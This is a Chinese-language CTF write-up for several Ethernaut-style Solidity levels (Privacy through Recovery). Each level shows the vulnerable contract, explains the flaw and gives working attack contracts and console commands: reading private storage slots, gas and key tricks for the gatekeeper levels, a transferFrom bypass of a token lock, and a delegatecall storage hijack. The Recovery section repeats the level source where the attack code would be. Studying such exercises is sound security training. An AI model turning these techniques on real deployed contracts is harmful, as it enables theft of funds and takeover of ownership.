13.Privacy
分析
源码:
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
题目简单明了,需要我们调用unlock,而调用unlock的条件需要我们输进去的key与data[2]相同,很明显,与Vault一样,需要我们从solidity的存储机制入手。 unused(31) locked(1) ? slot(0) ID(32) ? slot(1) unused(28) flattening(1) denomination(1) awkwardness(2) ? slot(2) data[0](3 2) ? slot(3) data[1](3 2) ? slot(4) data[2](3 2) ? slot(5) 从上面分析我们可以看到,data[2]存储在slot[5]
攻击
在控制台输入 await web3.eth.getStorageAt(contract.address,5),即可得到data[2]的值
继续执行data[2].slice(0,34),其中data[2]需换成你们自己上条指令得到的data[2],slice(0,34)是为了去掉后面的十六个字节,因为我们传进去的值只需要十六个字节.
最后执行 await contract.unlock(“第二条指令的值”),即可提交实例,过关。
14.Gatekeeper One
分析
源码:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
这关需要我们成为entrant,其实也就是让我们成功调用enter函数,成功通过三个修饰符,我们一个一个进行分析。 gateOne:很简单,只需要我们通过攻击合约调用合约 gateTwo:需要gas.left().mod(8191)==0,也就是我们执行到这一步所剩余的gas是8191的倍数,执行后才能进行完成。 gateThree:第一条件需要32位的gateKey等于16位的gateKey,也就是gateKey的第17-32位全为零。 第二条件需要32位的gateKey与64位的gateKey不想等,也就是33-64位不全为零。 第三条件需要gateKey的前十六位等于tx.origin。 我们一步一步来解决。
攻击
攻击合约:
contract attack{
GatekeeperOne gat;
constructor(address addr)public{
gat = GatekeeperOne(addr);
}
function complete()public{
bytes8 _addr = bytes8(uint64(msg.sender) & 0xffffffff0000ffff);
gat.enter(_addr);
}
}
首先他要我们前十六位全为我们自己的地址,我们将自己的地址直接转换就可以了,第17-32位全为零,由于uint强转是从后面取,也就是十六进制的第9-12位全为零,而1-8位不全为零,因此我们构造出一个Bytes8的数据,并跟我们的数据进行与运算,即可满足要求。
随后调用,然后一步步找到剩余的gas,我们需要找到区块链浏览器中的第二个gas操作,并取该gas-2的值,因为gasleft本身也会消耗gas,再与8191进行mod运算,在初始gas处减少响应的结果,重复2-3次,即可成功,提交实例,攻击完成
15.Gatekeeper Two
分析
源码:
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
这关与上关的要求一样,知识修饰符内容不一样,我们还是来一个一个的分析。 gateOne:与上题一样,需要攻击合约 gateTwo:assembly是用于写汇编语言的,感兴趣的可以自己去搜索,extcodesize(caller())的意思是调用者的地址为零,什么时候合约地址为零呢,合约尚未构造完成时,所以我们需要在构造函数中进行攻击。 gateThree:我们传进去的值需要与我们的合约地址进行异或算法且为2^64-1。 我们一个一个进行解决
攻击
攻击合约:
contract attack{
GatekeeperTwo gat;
constructor(address addr)public{
gat = GatekeeperTwo(addr);
bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0)-1);
gat.enter(_gateKey);
}
}
前两个条件都满足了,我们重点放在第三个条件,我们都知道,一个数与同一个数进行异或会得到全0,所以我们构造出的_gateKey只需要是我们地址与2^64-1进行异或即可。 部署攻击合约,提交实例,关卡完成。
16.Naught Coin
分析
源码:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
本题合约是一个ERC20代币合约,且我们地址本身含有很多余额,但时间未到,无法使用。需要我们想办法将我们的余额取出来,我们可以看到他对transfer函数进行了限制,必须要时间到了之后才允许我们将余额取出来,但他是ERC20合约,他却并没有对transferFrom函数进行限制,因此,我们可以在这上面做文章。
攻击
我们要调用transferFrom函数就需要先给调用者我们余额的使用权限,在控制台输入await contract.approve(contract.address,await contract.balanceof(player)) ,然后再输入 await contract.transferFrom(player,contract.address,await contract.balanceOf(player)),即可完成攻击,提交实例。
17.Preservation
分析
源码:
pragma solidity ^0.6.0;
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
contract LibraryContract {
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
这关要让我们成为owner,但合约中并没有与owner有关的能够被我们调用的语句。但我们很明显能够发现,合约中只有两个函数,都使用了delegatecall从另两个合约地址中去调用setTime函数,我们在delegation题目中讲解了delegatecall的一些问题,今天我们就需要认识到他的另一个问题。
delegatecall在调用时如果需要修改storage变量,他并不会通过变量名称去当前合约中查找相应的变量进行值的替换,而是会通过变量在被调用合约中的插槽进行改变。
而storedTime在Library合约中存在了slot(0),但是在Preservation合约中slot 0存放的数据是timeZone1Library,也就是第一个library合约的地址,如果我们将这个地址修改为我们的攻击合约,那么之后在调用setFirstTime的时候,就会调用我们自己的setTime函数,我们以此来编写攻击合约。
攻击
攻击合约:
contract LibraryContract {
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
contract attack{
address public addr1;
address public addr2;
address public owner;
function setTime(uint _time)public{
owner = address(_time);
}
}
1.调用setFirstTime函数,或者setSecondTime函数,将1library的地址修改为我们的攻击合约。 2.接着再调用setFirstTime函数,将我们自己的地址传进去 3.查看owner,可以看到owner已经变成了我们,提交实例关卡完成。
18.Recovery
分析
源码:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
string public name;
mapping (address => uint) public balances;
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
合约创造者创建了一个token合约,但却遗忘了它的地址,需要我们找到丢失的地址,并恢复以太。我们分析一下这个过程,合约创建者创建了工厂合约,然后工程合约有创建了token合约,要知道,区块链浏览器中可以查看到一个交易的全过程,我们以此进行攻击。
攻击
源码:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
string public name;
mapping (address => uint) public balances;
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
我们去 区块链浏览器上,很明显能看出交易全过程,我们创建了实例,关卡合约创建了工厂合约,工厂合约再创建了代币合约。所以最后一个地址就是我们要找到的地址。 接着找回丢失的以太。我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。 我们输入await web3.eth.sendTransaction({from:player,to:target,data:await web3.eth.abi.encodeWithSignature(“destroy(address)”) + "000000000000000000000000 +“目标合约地址”}) 即可完成攻击,提交实例,关卡完成。
|